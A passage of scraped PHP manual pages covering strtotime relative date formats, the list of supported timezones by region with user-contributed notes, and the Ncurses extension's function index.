'yesterday' | Midnight of yesterday | "yesterday 14:00"
'midnight' | The time is set to 00:00:00 |
'today' | The time is set to 00:00:00 |
'now' | Now - this is simply ignored |
'noon' | The time is set to 12:00:00 | "yesterday noon"
'tomorrow' | Midnight of tomorrow |
'back of' hour | 15 minutes past the specified hour | "back of 7pm", "back of 15"
'front of' hour | 15 minutes before the specified hour | "front of 5am", "front of 23"
'first day' ' of'? | Sets the day of the first of the current month. This phrase is best used together with a month name following it. | "first day of January 2008"
'last day' ' of'? | Sets the day to the last day of the current month. This phrase is best used together with a month name following it. | "last day of next month"
ordinal space dayname space 'of' | Calculates the x-th week day of the current month. | "first sat of July 2008"
'last' space dayname space 'of' | Calculates the last week day of the current month. | "last sat of July 2008"
number space? (unit | 'week') | Handles relative time items where the value is a number. | "+5 weeks", "12 day", "-7 weekdays"
ordinal space unit | Handles relative time items where the value is text. | "fifth day", "second month"
'ago' | Negates all the values of previously found relative time items. | "2 days ago", "8 days ago 14:00", "2 months 5 days ago", "2 months ago 5 days", "2 days ago ago"
dayname | Moves to the next day of this name. | "Monday"
reltext space 'week' | Handles the special format "weekday + last/this/next week". | "Monday next week"

Note:

Relative statements are always processed after non-relative statements. This makes "+1 week july 2008" and "july 2008 +1 week" equivalent.

Exceptions to this rule are: "yesterday", "midnight", "today", "noon" and "tomorrow". Note that "tomorrow 11:00" and "11:00 tomorrow" are different. Considering today's date of "July 23rd, 2008" the first one produces "2008-07-24 11:00" where as the second one produces "2008-07-24 00:00". The reason for this is that those five statements directly influence the current time.

Note:

Observe the following remarks when the current day-of-week is the same as the day-of-week used in the date/time string. The current day-of-week could have been (re-)calculated by non-relative parts of the date/time string however.

  1. "dayname" does not advance to another day. (Example: "Wed July 23rd, 2008" means "2008-07-23").
  2. "number dayname" does not advance to another day. (Example: "1 wednesday july 23rd, 2008" means "2008-07-23").
  3. "number week dayname" will first add the number of weeks, but does not advance to another day. In this case "number week" and "dayname" are two distinct blocks. (Example: "+1 week wednesday july 23rd, 2008" means "2008-07-30").
  4. "ordinal dayname" does advance to another day. (Example "first wednesday july 23rd, 2008" means "2008-07-30").
  5. "number week ordinal dayname" will first add the number of weeks, and then advances to another day. In this case "number week" and "ordinal dayname" are two distinct blocks. (Example: "+1 week first wednesday july 23rd, 2008" means "2008-08-06").
  6. "ordinal dayname 'of' " does not advance to another day. (Example: "first wednesday of july 23rd, 2008" means "2008-07-02" because the specific phrase with 'of' resets the day-of-month to '1' and the '23rd' is ignored here).

Also observe that the "of" in "ordinal space dayname space 'of' " and "'last' space dayname space 'of' " does something special.

  1. It sets the day-of-month to 1.
  2. "ordinal dayname 'of' " does not advance to another day. (Example: "first tuesday of july 2008" means "2008-07-01").
  3. "ordinal dayname " does advance to another day. (Example: "first tuesday july 2008" means "2008-07-08", see also point 4 in the list above).
  4. "'last' dayname 'of' " takes the last dayname of the current month. (Example: "last wed of july 2008" means "2008-07-30")
  5. "'last' dayname" takes the last dayname from the current day. (Example: "last wed july 2008" means "2008-06-25"; "july 2008" first sets the current date to "2008-07-01" and then "last wed" moves to the previous Wednesday which is "2008-06-25").

Note:

Relative month values are calculated based on the length of months that they pass through. An example would be "+2 month 2011-11-30", which would produce "2012-01-30". This is due to November being 30 days in length, and December being 31 days in length, producing a total of 61 days.

User Contributed Notes

scragar at gmail dot com 09-Nov-2011 08:04
Just for those who want the last day of the year without calling the function twice:

<?php
echo date('Y-m-d',
    strToTime('1/1 next year -1 day')
);
//   2011-12-31
?>

For reference this is actually saying "Take the first day of the first month next year, then subtract 1 day".
matt 14-Sep-2011 02:23
If the ordinal being used is "last" and the next month is n, use the "n 1". Otherwise, if the previous month is p and it has d number of days in it, use "p d".

For example: "last thursday of November" becomes "last thursday December 1" and "fourth thursday of November" becomes "fourth thursday September 30th"

Hopes this helps someone out there.
erwin at darcoury dot nl 01-Jun-2011 06:39
In PHP 5.2, "first monday of may 2011" is invalid, but "first monday may 2011" does work. Simply omit "of" if above examples do not work.
geneticdrift 31-Mar-2011 10:50
Month skipping has issues with number of days in the month.

'+1 month' may move to the following month if the next month has less days than the current:

<?php print date('d M Y H:i:s', strtotime('+1 month', strtotime('Thu Mar 31 19:50:41 IST 2011'))); ?>
Prints: 01 May 2011 19:50:41

But with 'last day of +1 month' the result is different:

<?php print date('d M Y H:i:s', strtotime('last day of +1 month', strtotime('Thu Mar 31 19:50:41 IST 2011'))); ?>
Prints: 30 Apr 2011 19:50:41

(PHP 5.3.3)
lcampanis 17-Mar-2011 04:34
To get the last day of the previous month use:
<?php
date("Y-m-t", strtotime("last month"));
?>

Note 't' instead of 'd'
Vadim Pronin 16-Mar-2011 03:00
Note that '-1 month' may produce unexpected result when used in last day of month that has 31 days:

strtotime('31 march 2011 -1 month')
returns 03 march 2011
tripollite at gmail dot com 04-Jan-2011 03:59
strtotime('last day of this year') doesn't work because last day of is only for month

use strtotime('-1 day', strtotime('first day of next year')) or anything else
e dot sand at elisand dot com 20-Jul-2010 02:21
It should be noted that apparently some of these strings only work in PHP 5.3 apparently, notably:

"first day of this month" and "last day of this month" for example.  According to information found on another website, the "xxx day of" feature was added in PHP 5.3.
Compound Formats
List of Supported Timezones
Supported Date and Time Formats


List of Supported Timezones

Table of Contents

  • Africa
  • America
  • Antarctica
  • Arctic
  • Asia
  • Atlantic
  • Australia
  • Europe
  • Indian
  • Pacific
  • Others

Here you'll find the complete list of timezones supported by PHP, which are meant to be used with e.g. date_default_timezone_set().

Note: The latest version of the timezone database can be installed via PECL's » timezonedb.

Note: This list is based upon the timezone database version 2011.14.

User Contributed Notes

There are no user contributed notes for this page.
Relative Formats
Africa
Date/Time


Africa

Africa
Africa/Abidjan | Africa/Accra | Africa/Addis_Ababa | Africa/Algiers | Africa/Asmara
Africa/Asmera | Africa/Bamako | Africa/Bangui | Africa/Banjul | Africa/Bissau
Africa/Blantyre | Africa/Brazzaville | Africa/Bujumbura | Africa/Cairo | Africa/Casablanca
Africa/Ceuta | Africa/Conakry | Africa/Dakar | Africa/Dar_es_Salaam | Africa/Djibouti
Africa/Douala | Africa/El_Aaiun | Africa/Freetown | Africa/Gaborone | Africa/Harare
Africa/Johannesburg | Africa/Juba | Africa/Kampala | Africa/Khartoum | Africa/Kigali
Africa/Kinshasa | Africa/Lagos | Africa/Libreville | Africa/Lome | Africa/Luanda
Africa/Lubumbashi | Africa/Lusaka | Africa/Malabo | Africa/Maputo | Africa/Maseru
Africa/Mbabane | Africa/Mogadishu | Africa/Monrovia | Africa/Nairobi | Africa/Ndjamena
Africa/Niamey | Africa/Nouakchott | Africa/Ouagadougou | Africa/Porto-Novo | Africa/Sao_Tome
Africa/Timbuktu | Africa/Tripoli | Africa/Tunis | Africa/Windhoek |

User Contributed Notes

There are no user contributed notes for this page.
List of Supported Timezones
America
List of Supported Timezones


America

America
America/Adak | America/Anchorage | America/Anguilla | America/Antigua | America/Araguaina
America/Argentina/Buenos_Aires | America/Argentina/Catamarca | America/Argentina/ComodRivadavia | America/Argentina/Cordoba | America/Argentina/Jujuy
America/Argentina/La_Rioja | America/Argentina/Mendoza | America/Argentina/Rio_Gallegos | America/Argentina/Salta | America/Argentina/San_Juan
America/Argentina/San_Luis | America/Argentina/Tucuman | America/Argentina/Ushuaia | America/Aruba | America/Asuncion
America/Atikokan | America/Atka | America/Bahia | America/Bahia_Banderas | America/Barbados
America/Belem | America/Belize | America/Blanc-Sablon | America/Boa_Vista | America/Bogota
America/Boise | America/Buenos_Aires | America/Cambridge_Bay | America/Campo_Grande | America/Cancun
America/Caracas | America/Catamarca | America/Cayenne | America/Cayman | America/Chicago
America/Chihuahua | America/Coral_Harbour | America/Cordoba | America/Costa_Rica | America/Cuiaba
America/Curacao | America/Danmarkshavn | America/Dawson | America/Dawson_Creek | America/Denver
America/Detroit | America/Dominica | America/Edmonton | America/Eirunepe | America/El_Salvador
America/Ensenada | America/Fort_Wayne | America/Fortaleza | America/Glace_Bay | America/Godthab
America/Goose_Bay | America/Grand_Turk | America/Grenada | America/Guadeloupe | America/Guatemala
America/Guayaquil | America/Guyana | America/Halifax | America/Havana | America/Hermosillo
America/Indiana/Indianapolis | America/Indiana/Knox | America/Indiana/Marengo | America/Indiana/Petersburg | America/Indiana/Tell_City
America/Indiana/Vevay | America/Indiana/Vincennes | America/Indiana/Winamac | America/Indianapolis | America/Inuvik
America/Iqaluit | America/Jamaica | America/Jujuy | America/Juneau | America/Kentucky/Louisville
America/Kentucky/Monticello | America/Knox_IN | America/Kralendijk | America/La_Paz | America/Lima
America/Los_Angeles | America/Louisville | America/Lower_Princes | America/Maceio | America/Managua
America/Manaus | America/Marigot | America/Martinique | America/Matamoros | America/Mazatlan
America/Mendoza | America/Menominee | America/Merida | America/Metlakatla | America/Mexico_City
America/Miquelon | America/Moncton | America/Monterrey | America/Montevideo | America/Montreal
America/Montserrat | America/Nassau | America/New_York | America/Nipigon | America/Nome
America/Noronha | America/North_Dakota/Beulah | America/North_Dakota/Center | America/North_Dakota/New_Salem | America/Ojinaga
America/Panama | America/Pangnirtung | America/Paramaribo | America/Phoenix | America/Port-au-Prince
America/Port_of_Spain | America/Porto_Acre | America/Porto_Velho | America/Puerto_Rico | America/Rainy_River
America/Rankin_Inlet | America/Recife | America/Regina | America/Resolute | America/Rio_Branco
America/Rosario | America/Santa_Isabel | America/Santarem | America/Santiago | America/Santo_Domingo
America/Sao_Paulo | America/Scoresbysund | America/Shiprock | America/Sitka | America/St_Barthelemy
America/St_Johns | America/St_Kitts | America/St_Lucia | America/St_Thomas | America/St_Vincent
America/Swift_Current | America/Tegucigalpa | America/Thule | America/Thunder_Bay | America/Tijuana
America/Toronto | America/Tortola | America/Vancouver | America/Virgin | America/Whitehorse
America/Winnipeg | America/Yakutat | America/Yellowknife |  |

User Contributed Notes

mrbinky3000 19-Aug-2009 03:43
According to the documentation on this site, we are not supposed to use timezones listed in the "Other" category like 'US/Central' and the like.  They are only available for backwards compatibility.  So, I assume they will go bye-bye in future versions.

Some US Territories, most of Arizona, and all of Hawaii do NOT observe Daylight Savings Time.  The arrays below cover all 50 states the US territories.

Please note that the timezone names supported by DateTime are imported into PHP from an external database.  That said, the city names might change in the future, however unlikely.  So by definition these imported timezones are not 100% reliable.

Timezones like EDT, CDT and the like are not pinned to the name of a city.  They work but are not defined anywhere in the documentation's official "List of Supported Timezones".  Who knows if they will still work in future versions of PHP.  I think they will.  But that's just a gut feeling.  Going by timezone instead of city makes more sense to me than trying to get a map and look up which city is in which timezone.

<?php
// US TimeZones based on TimeZone name
// format 'DateTime Timezone' => 'Human Friendly Timezone'
$aTimeZones = array(
    'America/Puerto_Rico'=>'AST',
    'EDT'=>'EDT',
    'CDT'=>'CDT',
    'America/Phoenix'=>'MST',
    'MDT'=>'MDT',
    'PDT'=>'PDT',
    'America/Juneau'=>'AKDT',
    'HST'=>'HST',
    'Pacific/Guam'=>'ChST',
    'Pacific/Samoa'=>'SST',
    'Pacific/Wake'=>'WAKT',
);

// US TimeZones according to DateTime's official  "List of Supported Timezones"
$aTimeZones = array(
  'America/Puerto_Rico'=>'AST',
  'America/New_York'=>'EDT',
  'America/Chicago'=>'CDT',
  'America/Boise'=>'MDT',
  'America/Phoenix'=>'MST',
  'America/Los_Angeles'=>'PDT',
  'America/Juneau'=>'AKDT',
  'Pacific/Honolulu'=>'HST',
  'Pacific/Guam'=>'ChST',
  'Pacific/Samoa'=>'SST',
  'Pacific/Wake'=>'WAKT',
);
?>
cjacunad at gmail dot com 18-Sep-2008 04:28
You can set a default time zone for your server from the configuration file (php.ini) at the line:

[Date]
; Defines the default timezone used by the date functions
date.timezone = America/New_York
kapahala11 at yahoo dot com 11-Jun-2007 06:48
Note that "America" means "the continents of North and South America, including the Caribbean islands".  It does *not* mean "The United States Of America".

If you're looking for the Hawaii timezone, you'll find it in Pacific/Honolulu (not America/Honolulu).
Africa
Antarctica
List of Supported Timezones


Antarctica

Antarctica
Antarctica/Casey | Antarctica/Davis | Antarctica/DumontDUrville | Antarctica/Macquarie | Antarctica/Mawson
Antarctica/McMurdo | Antarctica/Palmer | Antarctica/Rothera | Antarctica/South_Pole | Antarctica/Syowa
Antarctica/Vostok |  |  |  |

User Contributed Notes

There are no user contributed notes for this page.
America
Arctic
List of Supported Timezones


Arctic

Arctic
Arctic/Longyearbyen

User Contributed Notes

There are no user contributed notes for this page.
Antarctica
Asia
List of Supported Timezones


Asia

Asia
Asia/Aden | Asia/Almaty | Asia/Amman | Asia/Anadyr | Asia/Aqtau
Asia/Aqtobe | Asia/Ashgabat | Asia/Ashkhabad | Asia/Baghdad | Asia/Bahrain
Asia/Baku | Asia/Bangkok | Asia/Beirut | Asia/Bishkek | Asia/Brunei
Asia/Calcutta | Asia/Choibalsan | Asia/Chongqing | Asia/Chungking | Asia/Colombo
Asia/Dacca | Asia/Damascus | Asia/Dhaka | Asia/Dili | Asia/Dubai
Asia/Dushanbe | Asia/Gaza | Asia/Harbin | Asia/Hebron | Asia/Ho_Chi_Minh
Asia/Hong_Kong | Asia/Hovd | Asia/Irkutsk | Asia/Istanbul | Asia/Jakarta
Asia/Jayapura | Asia/Jerusalem | Asia/Kabul | Asia/Kamchatka | Asia/Karachi
Asia/Kashgar | Asia/Kathmandu | Asia/Katmandu | Asia/Kolkata | Asia/Krasnoyarsk
Asia/Kuala_Lumpur | Asia/Kuching | Asia/Kuwait | Asia/Macao | Asia/Macau
Asia/Magadan | Asia/Makassar | Asia/Manila | Asia/Muscat | Asia/Nicosia
Asia/Novokuznetsk | Asia/Novosibirsk | Asia/Omsk | Asia/Oral | Asia/Phnom_Penh
Asia/Pontianak | Asia/Pyongyang | Asia/Qatar | Asia/Qyzylorda | Asia/Rangoon
Asia/Riyadh | Asia/Saigon | Asia/Sakhalin | Asia/Samarkand | Asia/Seoul
Asia/Shanghai | Asia/Singapore | Asia/Taipei | Asia/Tashkent | Asia/Tbilisi
Asia/Tehran | Asia/Tel_Aviv | Asia/Thimbu | Asia/Thimphu | Asia/Tokyo
Asia/Ujung_Pandang | Asia/Ulaanbaatar | Asia/Ulan_Bator | Asia/Urumqi | Asia/Vientiane
Asia/Vladivostok | Asia/Yakutsk | Asia/Yekaterinburg | Asia/Yerevan |

User Contributed Notes

YogeshGadiya at gmail dot com 29-Jul-2011 12:39
You can have time zone set for India as 'Asia/Kolkata' this will add +5.30 to GMT time.
You will get proper time of your time zone.
Example:
<?php
$timezone = "Asia/Calcutta";
if(function_exists('date_default_timezone_set')) date_default_timezone_set($timezone);
echo date('d-m-Y H:i:s');
?>

You will get result as India time
khalidco at bigfoot dot com 17-Jun-2011 02:15
Even though php supports 'Asia/Riyadh', MySQL doesn't!  I had to use '+3:00' instead, to over come that since it's pointless to set the time zone for the script and not the database activities.  To do it for both, do the following :

<?php
$timezone = "Asia/Riyadh";
if(function_exists('date_default_timezone_set')) date_default_timezone_set($timezone);

mysql_query("SET SESSION time_zone = '+3:00'");
?>
Arctic
Atlantic
List of Supported Timezones


Atlantic

Atlantic
Atlantic/Azores | Atlantic/Bermuda | Atlantic/Canary | Atlantic/Cape_Verde | Atlantic/Faeroe
Atlantic/Faroe | Atlantic/Jan_Mayen | Atlantic/Madeira | Atlantic/Reykjavik | Atlantic/South_Georgia
Atlantic/St_Helena | Atlantic/Stanley |  |  |

User Contributed Notes

There are no user contributed notes for this page.
Asia
Australia
List of Supported Timezones


Australia

Australia
Australia/ACT | Australia/Adelaide | Australia/Brisbane | Australia/Broken_Hill | Australia/Canberra
Australia/Currie | Australia/Darwin | Australia/Eucla | Australia/Hobart | Australia/LHI
Australia/Lindeman | Australia/Lord_Howe | Australia/Melbourne | Australia/North | Australia/NSW
Australia/Perth | Australia/Queensland | Australia/South | Australia/Sydney | Australia/Tasmania
Australia/Victoria | Australia/West | Australia/Yancowinna |  |

User Contributed Notes

t dot nospam dot jachimczak at gmail dot com 15-Jan-2012 02:57
Brisbane does not observe Daylight Savings time in Australia, but has the same +10 UTC offset as Sydney, Canberra and Melbourne which may be useful for inserting the right timestamp if your server automatically adjusts for Daylight Saving.
rob at rndsoftware dot com dot au 17-Aug-2010 11:14
Remember that Australia has Daylight Saving Times.

You can get all the info here: http://australia.gov.au/about-australia/our-country/time
Atlantic
Europe
List of Supported Timezones


Europe

Europe
Europe/Amsterdam | Europe/Andorra | Europe/Athens | Europe/Belfast | Europe/Belgrade
Europe/Berlin | Europe/Bratislava | Europe/Brussels | Europe/Bucharest | Europe/Budapest
Europe/Chisinau | Europe/Copenhagen | Europe/Dublin | Europe/Gibraltar | Europe/Guernsey
Europe/Helsinki | Europe/Isle_of_Man | Europe/Istanbul | Europe/Jersey | Europe/Kaliningrad
Europe/Kiev | Europe/Lisbon | Europe/Ljubljana | Europe/London | Europe/Luxembourg
Europe/Madrid | Europe/Malta | Europe/Mariehamn | Europe/Minsk | Europe/Monaco
Europe/Moscow | Europe/Nicosia | Europe/Oslo | Europe/Paris | Europe/Podgorica
Europe/Prague | Europe/Riga | Europe/Rome | Europe/Samara | Europe/San_Marino
Europe/Sarajevo | Europe/Simferopol | Europe/Skopje | Europe/Sofia | Europe/Stockholm
Europe/Tallinn | Europe/Tirane | Europe/Tiraspol | Europe/Uzhgorod | Europe/Vaduz
Europe/Vatican | Europe/Vienna | Europe/Vilnius | Europe/Volgograd | Europe/Warsaw
Europe/Zagreb | Europe/Zaporozhye | Europe/Zurich |  |

User Contributed Notes

There are no user contributed notes for this page.
Australia
Indian
List of Supported Timezones


Indian

Indian
Indian/Antananarivo | Indian/Chagos | Indian/Christmas | Indian/Cocos | Indian/Comoro
Indian/Kerguelen | Indian/Mahe | Indian/Maldives | Indian/Mauritius | Indian/Mayotte
Indian/Reunion |  |  |  |

User Contributed Notes

khumaer at rediffmail dot com 18-May-2009 09:36
One must set date_default_timezone_set('Asia/Calcutta'); if one needs to develop time specific applications or websites.Do not go for indian time as you wont get GMT+0530 over there.Even Asia/Calcutta is not mentionaed anywhere.but when i put it it worked for me.
Khumaer
Locoluis 12-Jun-2007 12:44
India itself is handled by Asia/Calcutta

The "Indian" zone is for islands at the Indic Ocean.
Europe
Pacific
List of Supported Timezones


Pacific

Pacific
Pacific/Apia | Pacific/Auckland | Pacific/Chatham | Pacific/Chuuk | Pacific/Easter
Pacific/Efate | Pacific/Enderbury | Pacific/Fakaofo | Pacific/Fiji | Pacific/Funafuti
Pacific/Galapagos | Pacific/Gambier | Pacific/Guadalcanal | Pacific/Guam | Pacific/Honolulu
Pacific/Johnston | Pacific/Kiritimati | Pacific/Kosrae | Pacific/Kwajalein | Pacific/Majuro
Pacific/Marquesas | Pacific/Midway | Pacific/Nauru | Pacific/Niue | Pacific/Norfolk
Pacific/Noumea | Pacific/Pago_Pago | Pacific/Palau | Pacific/Pitcairn | Pacific/Pohnpei
Pacific/Ponape | Pacific/Port_Moresby | Pacific/Rarotonga | Pacific/Saipan | Pacific/Samoa
Pacific/Tahiti | Pacific/Tarawa | Pacific/Tongatapu | Pacific/Truk | Pacific/Wake
Pacific/Wallis | Pacific/Yap |  |  |

User Contributed Notes

There are no user contributed notes for this page.
Indian
Others
List of Supported Timezones


Others

Others
Brazil/Acre | Brazil/DeNoronha | Brazil/East | Brazil/West | Canada/Atlantic
Canada/Central | Canada/East-Saskatchewan | Canada/Eastern | Canada/Mountain | Canada/Newfoundland
Canada/Pacific | Canada/Saskatchewan | Canada/Yukon | CET | Chile/Continental
Chile/EasterIsland | CST6CDT | Cuba | EET | Egypt
Eire | EST | EST5EDT | Etc/GMT | Etc/GMT+0
Etc/GMT+1 | Etc/GMT+10 | Etc/GMT+11 | Etc/GMT+12 | Etc/GMT+2
Etc/GMT+3 | Etc/GMT+4 | Etc/GMT+5 | Etc/GMT+6 | Etc/GMT+7
Etc/GMT+8 | Etc/GMT+9 | Etc/GMT-0 | Etc/GMT-1 | Etc/GMT-10
Etc/GMT-11 | Etc/GMT-12 | Etc/GMT-13 | Etc/GMT-14 | Etc/GMT-2
Etc/GMT-3 | Etc/GMT-4 | Etc/GMT-5 | Etc/GMT-6 | Etc/GMT-7
Etc/GMT-8 | Etc/GMT-9 | Etc/GMT0 | Etc/Greenwich | Etc/UCT
Etc/Universal | Etc/UTC | Etc/Zulu | Factory | GB
GB-Eire | GMT | GMT+0 | GMT-0 | GMT0
Greenwich | Hongkong | HST | Iceland | Iran
Israel | Jamaica | Japan | Kwajalein | Libya
MET | Mexico/BajaNorte | Mexico/BajaSur | Mexico/General | MST
MST7MDT | Navajo | NZ | NZ-CHAT | Poland
Portugal | PRC | PST8PDT | ROC | ROK
Singapore | Turkey | UCT | Universal | US/Alaska
US/Aleutian | US/Arizona | US/Central | US/East-Indiana | US/Eastern
US/Hawaii | US/Indiana-Starke | US/Michigan | US/Mountain | US/Pacific
US/Pacific-New | US/Samoa | UTC | W-SU | WET
Zulu |  |  |  |
Warning

Please do not use any of the timezones listed here (besides UTC), they only exist for backward compatible reasons.

User Contributed Notes

There are no user contributed notes for this page.
Pacific
Command Line Specific Extensions
List of Supported Timezones


Command Line Specific Extensions

  • Ncurses — Ncurses Terminal Screen Control
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Ncurses Functions
  • Newt
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Newt Functions
  • Readline — GNU Readline
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Readline Functions

User Contributed Notes

alvaro at demogracia dot com 11-May-2011 05:13
None of these extensions (Newt, Ncurses or Readline) work natively on Windows platforms. Ncurses is available for Cygwin, the other two do not mention it explicitly.
Others
Ncurses
Function Reference


Ncurses Terminal Screen Control

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • Error codes
    • Colors
    • Keys
    • Mouse
  • Ncurses Functions
    • ncurses_addch — Add character at current position and advance cursor
    • ncurses_addchnstr — Add attributed string with specified length at current position
    • ncurses_addchstr — Add attributed string at current position
    • ncurses_addnstr — Add string with specified length at current position
    • ncurses_addstr — Output text at current position
    • ncurses_assume_default_colors — Define default colors for color 0
    • ncurses_attroff — Turn off the given attributes
    • ncurses_attron — Turn on the given attributes
    • ncurses_attrset — Set given attributes
    • ncurses_baudrate — Returns baudrate of terminal
    • ncurses_beep — Let the terminal beep
    • ncurses_bkgd — Set background property for terminal screen
    • ncurses_bkgdset — Control screen background
    • ncurses_border — Draw a border around the screen using attributed characters
    • ncurses_bottom_panel — Moves a visible panel to the bottom of the stack
    • ncurses_can_change_color — Checks if terminal color definitions can be changed
    • ncurses_cbreak — Switch of input buffering
    • ncurses_clear — Clear screen
    • ncurses_clrtobot — Clear screen from current position to bottom
    • ncurses_clrtoeol — Clear screen from current position to end of line
    • ncurses_color_content — Retrieves RGB components of a color
    • ncurses_color_set — Set active foreground and background colors
    • ncurses_curs_set — Set cursor state
    • ncurses_def_prog_mode — Saves terminals (program) mode
    • ncurses_def_shell_mode — Saves terminals (shell) mode
    • ncurses_define_key — Define a keycode
    • ncurses_del_panel — Remove panel from the stack and delete it (but not the associated window)
    • ncurses_delay_output — Delay output on terminal using padding characters
    • ncurses_delch — Delete character at current position, move rest of line left
    • ncurses_deleteln — Delete line at current position, move rest of screen up
    • ncurses_delwin — Delete a ncurses window
    • ncurses_doupdate — Write all prepared refreshes to terminal
    • ncurses_echo — Activate keyboard input echo
    • ncurses_echochar — Single character output including refresh
    • ncurses_end — Stop using ncurses, clean up the screen
    • ncurses_erase — Erase terminal screen
    • ncurses_erasechar — Returns current erase character
    • ncurses_filter — Set LINES for iniscr() and newterm() to 1
    • ncurses_flash — Flash terminal screen (visual bell)
    • ncurses_flushinp — Flush keyboard input buffer
    • ncurses_getch — Read a character from keyboard
    • ncurses_getmaxyx — Returns the size of a window
    • ncurses_getmouse — Reads mouse event
    • ncurses_getyx — Returns the current cursor position for a window
    • ncurses_halfdelay — Put terminal into halfdelay mode
    • ncurses_has_colors — Checks if terminal has color capabilities
    • ncurses_has_ic — Check for insert- and delete-capabilities
    • ncurses_has_il — Check for line insert- and delete-capabilities
    • ncurses_has_key — Check for presence of a function key on terminal keyboard
    • ncurses_hide_panel — Remove panel from the stack, making it invisible
    • ncurses_hline — Draw a horizontal line at current position using an attributed character and max. n characters long
    • ncurses_inch — Get character and attribute at current position
    • ncurses_init_color — Define a terminal color
    • ncurses_init_pair — Define a color pair
    • ncurses_init — Initialize ncurses
    • ncurses_insch — Insert character moving rest of line including character at current position
    • ncurses_insdelln — Insert lines before current line scrolling down (negative numbers delete and scroll up)
    • ncurses_insertln — Insert a line, move rest of screen down
    • ncurses_insstr — Insert string at current position, moving rest of line right
    • ncurses_instr — Reads string from terminal screen
    • ncurses_isendwin — Ncurses is in endwin mode, normal screen output may be performed
    • ncurses_keyok — Enable or disable a keycode
    • ncurses_keypad — Turns keypad on or off
    • ncurses_killchar — Returns current line kill character
    • ncurses_longname — Returns terminals description
    • ncurses_meta — Enables/Disable 8-bit meta key information
    • ncurses_mouse_trafo — Transforms coordinates
    • ncurses_mouseinterval — Set timeout for mouse button clicks
    • ncurses_mousemask — Sets mouse options
    • ncurses_move_panel — Moves a panel so that its upper-left corner is at [startx, starty]
    • ncurses_move — Move output position
    • ncurses_mvaddch — Move current position and add character
    • ncurses_mvaddchnstr — Move position and add attributed string with specified length
    • ncurses_mvaddchstr — Move position and add attributed string
    • ncurses_mvaddnstr — Move position and add string with specified length
    • ncurses_mvaddstr — Move position and add string
    • ncurses_mvcur — Move cursor immediately
    • ncurses_mvdelch — Move position and delete character, shift rest of line left
    • ncurses_mvgetch — Move position and get character at new position
    • ncurses_mvhline — Set new position and draw a horizontal line using an attributed character and max. n characters long
    • ncurses_mvinch — Move position and get attributed character at new position
    • ncurses_mvvline — Set new position and draw a vertical line using an attributed character and max. n characters long
    • ncurses_mvwaddstr — Add string at new position in window
    • ncurses_napms — Sleep
    • ncurses_new_panel — Create a new panel and associate it with window
    • ncurses_newpad — Creates a new pad (window)
    • ncurses_newwin — Create a new window
    • ncurses_nl — Translate newline and carriage return / line feed
    • ncurses_nocbreak — Switch terminal to cooked mode
    • ncurses_noecho — Switch off keyboard input echo
    • ncurses_nonl — Do not translate newline and carriage return / line feed
    • ncurses_noqiflush — Do not flush on signal characters
    • ncurses_noraw — Switch terminal out of raw mode
    • ncurses_pair_content — Retrieves foreground and background colors of a color pair
    • ncurses_panel_above — Returns the panel above panel
    • ncurses_panel_below — Returns the panel below panel
    • ncurses_panel_window — Returns the window associated with panel
    • ncurses_pnoutrefresh — Copies a region from a pad into the virtual screen
    • ncurses_prefresh — Copies a region from a pad into the virtual screen
    • ncurses_putp — Apply padding information to the string and output it
    • ncurses_qiflush — Flush on signal characters
    • ncurses_raw — Switch terminal into raw mode
    • ncurses_refresh — Refresh screen
    • ncurses_replace_panel — Replaces the window associated with panel
    • ncurses_reset_prog_mode — Resets the prog mode saved by def_prog_mode
    • ncurses_reset_shell_mode — Resets the shell mode saved by def_shell_mode
    • ncurses_resetty — Restores saved terminal state
    • ncurses_savetty — Saves terminal state
    • ncurses_scr_dump — Dump screen content to file
    • ncurses_scr_init — Initialize screen from file dump
    • ncurses_scr_restore — Restore screen from file dump
    • ncurses_scr_set — Inherit screen from file dump
    • ncurses_scrl — Scroll window content up or down without changing current position
    • ncurses_show_panel — Places an invisible panel on top of the stack, making it visible
    • ncurses_slk_attr — Returns current soft label key attribute
    • ncurses_slk_attroff — Turn off the given attributes for soft function-key labels
    • ncurses_slk_attron — Turn on the given attributes for soft function-key labels
    • ncurses_slk_attrset — Set given attributes for soft function-key labels
    • ncurses_slk_clear — Clears soft labels from screen
    • ncurses_slk_color — Sets color for soft label keys
    • ncurses_slk_init — Initializes soft label key functions
    • ncurses_slk_noutrefresh — Copies soft label keys to virtual screen
    • ncurses_slk_refresh — Copies soft label keys to screen
    • ncurses_slk_restore — Restores soft label keys
    • ncurses_slk_set — Sets function key labels
    • ncurses_slk_touch — Forces output when ncurses_slk_noutrefresh is performed
    • ncurses_standend — Stop using 'standout' attribute
    • ncurses_standout — Start using 'standout' attribute
    • ncurses_start_color — Initializes color functionality
    • ncurses_termattrs — Returns a logical OR of all attribute flags supported by terminal
    • ncurses_termname — Returns terminals (short)-name
    • ncurses_timeout — Set timeout for special key sequences
    • ncurses_top_panel — Moves a visible panel to the top of the stack
    • ncurses_typeahead — Specify different filedescriptor for typeahead checking
    • ncurses_ungetch — Put a character back into the input stream
    • ncurses_ungetmouse — Pushes mouse event to queue
    • ncurses_update_panels — Refreshes the virtual screen to reflect the relations between panels in the stack
    • ncurses_use_default_colors — Assign terminal default colors to color id -1
    • ncurses_use_env — Control use of environment information about terminal size
    • ncurses_use_extended_names — Control use of extended names in terminfo descriptions
    • ncurses_vidattr — Display the string on the terminal in the video attribute mode
    • ncurses_vline — Draw a vertical line at current position using an attributed character and max. n characters long
    • ncurses_waddch — Adds character at current position in a window and advance cursor
    • ncurses_waddstr — Outputs text at current postion in window
    • ncurses_wattroff — Turns off attributes for a window
    • ncurses_wattron — Turns on attributes for a window
    • ncurses_wattrset — Set the attributes for a window
    • ncurses_wborder — Draws a border around the window using attributed characters
    • ncurses_wclear — Clears window
    • ncurses_wcolor_set — Sets windows color pairings
    • ncurses_werase — Erase window contents
    • ncurses_wgetch — Reads a character from keyboard (window)
    • ncurses_whline — Draws a horizontal line in a window at current position using an attributed character and max. n characters long
    • ncurses_wmouse_trafo — Transforms window/stdscr coordinates
    • ncurses_wmove — Moves windows output position
    • ncurses_wnoutrefresh — Copies window to virtual screen
    • ncurses_wrefresh — Refresh window on terminal screen
    • ncurses_wstandend — End standout mode for a window
    • ncurses_wstandout — Enter standout mode for a window
    • ncurses_wvline — Draws a vertical line in a window at current position using an attributed character and max. n characters long

User Contributed Notes

